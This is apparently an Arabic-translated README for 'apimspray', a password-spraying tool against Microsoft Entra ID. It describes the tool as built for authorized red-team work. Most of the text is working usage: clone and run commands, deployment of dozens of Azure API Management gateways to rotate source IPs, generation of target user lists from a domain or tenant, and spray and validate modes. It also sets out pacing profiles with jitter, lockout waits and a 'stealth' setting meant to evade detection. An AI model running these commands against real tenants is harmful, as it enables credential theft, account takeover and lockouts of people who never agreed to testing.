
Azure apim mini proxy
apimspray هي أداة متخصصة من نوع أداة رش كلمات المرور لـ Entra ID مصممة لأبحاث الأمن المصرح بها واختبارات Red Teaming. وهي تستخدم بوابات Azure API Management (APIM) كطبقة وكيل موزعة ودوارة لتناوب عناوين IP.
اقرأ المنشور على المدونة لمزيد من التفاصيل حول هذا المشروع.
az): مطلوب لبرنامج التدوير (rotator script) لنشر الموارد. (قم بتنفيذ السكريبت من جلسة CLI مصادقة بالفعل على Azure CLI أو استخدم Azure Cloud Shell).pip install -r requirements.txt
az login
قم بتشغيل apimspray مباشرة من بيئة Azure مصادقة.
git clone https://github.com/crtvrffnrt/apimspray.git
cd apimspray
python3 apimspray.py --help
نشر بوابات APIM متعددة في مواقع مختلفة.
python3 apimspraycreate.py --count 5 --outfile urls.txt
ينشر 33 مثيل APIM في ألمانيا الغربية الوسطى وأوروبا الغربية ويحفظها في urls.txt
python3 apimspraycreate.py --location germanywestcentral,westeurope --count 33 --outfile urls.txt
مرجع CLI لأداة apimspraycreate:
usage: apimspraycreate.py [-h] --outfile OUTFILE [--count COUNT] [--location LOCATION] [--prefix PREFIX] [--realm-prefix REALM_PREFIX] [--delete-old]
apimspraycreate - Azure APIM Deployer
options:
-h, --help show this help message and exit
--outfile OUTFILE Output file for URLs
--count COUNT Number of instances
--location LOCATION Comma-separated APIM location(s) to deploy into. When provided, only those regions are used and the first location is used for the resource group.
--prefix PREFIX API URL prefix
--realm-prefix REALM_PREFIX
Realm API prefix
--delete-old Delete old resource groups
هام: بالنسبة لجميع الطرق، يجب أن يكون لديك جلسة az نشطة في الخلفية (az login).
تأكد من أن قوائم الهدف جاهزة:
users.txt: قائمة أسماء المستخدمين (UserPrincipalNames) (مثل [email protected]).passwords.txt: قائمة كلمات المرور المراد رشها.إذا لم تكن لديك قائمة مستخدمين، يمكنك استخدام السكريبت المساعد generate_upns.py. تقوم هذه الأداة بـ:
users.txt.الاستخدام:
# إنشاء users.txt لنطاق معين أو معرف مستأجر
python3 generate_upns.py --target example.com
# OR باستخدام معرف المستأجر
python3 generate_upns.py --target 00000000-0000-0000-0000-000000000000
مرجع CLI لأداة generate_upns:
usage: generate_upns.py [-h] --target TARGET
Generate UPNs from connected Azure Tenants and Service Accounts.
options:
-h, --help show this help message and exit
--target TARGET Target Domain (e.g., example.com) or Tenant UUID
usage: apimspray.py [-h] [--urls URLS] [--users USERS] [--passwords PASSWORDS] [--output OUTPUT] [--tenant TENANT] [--domain DOMAIN] --mode {spray,validate} [--pace {stealth,low,mid,medium,high}]
[--continue-on-success]
apimspray - Entra ID Assessment Tool
options:
-h, --help show this help message and exit
--urls URLS Path to APIM URLs file (from apimspraycreate.py or apimsprayrotator.sh)
--users USERS Path to users file
--passwords PASSWORDS
Path to passwords file
--output OUTPUT Output directory
--tenant TENANT Tenant ID or Domain
--domain DOMAIN Append domain to users if missing
--mode {spray,validate}
Operation mode. 'spray' tests all passwords against all users (1:N). 'validate' performs 1:1 credential pair testing.
--pace {stealth,low,mid,medium,high}
Pacing profile for requests and lockout management:
- high: 15 workers, 0.1s delay, 10 passes/chunk, 5m lockout, 20 safe threshold
- medium: 5 workers, 1.0s delay, 5 passes/chunk, 10m lockout, 10 safe threshold, 10% jitter
- low: 2 workers, 5.0s delay, 2 passes/chunk, 15m lockout, 5 safe threshold, 20% jitter
- stealth: 1 worker, 30.0s delay, 1 pass/chunk, 20m lockout, 1 safe threshold, 40% jitter
--continue-on-success
Continue the assessment even after finding valid credentials.
validate: يتحقق من قائمة أزواج user:password. يتطلب قوائم بنفس الطول.
python3 apimspray.py --urls urls.txt --mode validate --users u.txt --passwords p.txt
spray: يحاول كلمة مرور واحدة ضد جميع المستخدمين، ثم ينتظر (إذا تم تكوين ذلك)، ثم ينتقل إلى كلمة المرور التالية.
python3 apimspray.py --urls urls.txt --mode spray --users users.txt --passwords common_passwords.txt --pace medium
تتحكم وسيطة --pace في عدوانية الرش. القيم مضمنة في الكود لضمان الاستقرار والأمان.
AADSTS50053)، تقوم الأداة بالإلغاء فورًا.يتم تخزين النتائج في الدليل results/<timestamp>/:
valid_*.txt: مصادقات ناجحة (مطلوب MFA أو تم استلام رمز).blocked_*.txt: حسابات مقفلة أو محظورة بشروط.failed_*.txt: بيانات اعتماد غير صالحة أو مستخدم غير موجود.| الملف الشخصي | عدد العمال | التأخير | العدد (الدفعة) | انتظار القفل | العتبة الآمنة | التشتت |
|---|
high | 15 | 0.1s | 10 | 5m | 20 مقفول | 0% |
medium | 5 | 1.0s | 5 | 10m | 10 مقفول | 10% |
low | 2 | 5.0s | 2 | 15m | 5 مقفول | 20% |
stealth | 1 | 30.0s | 1 | 20m | 1 مقفول | 40% |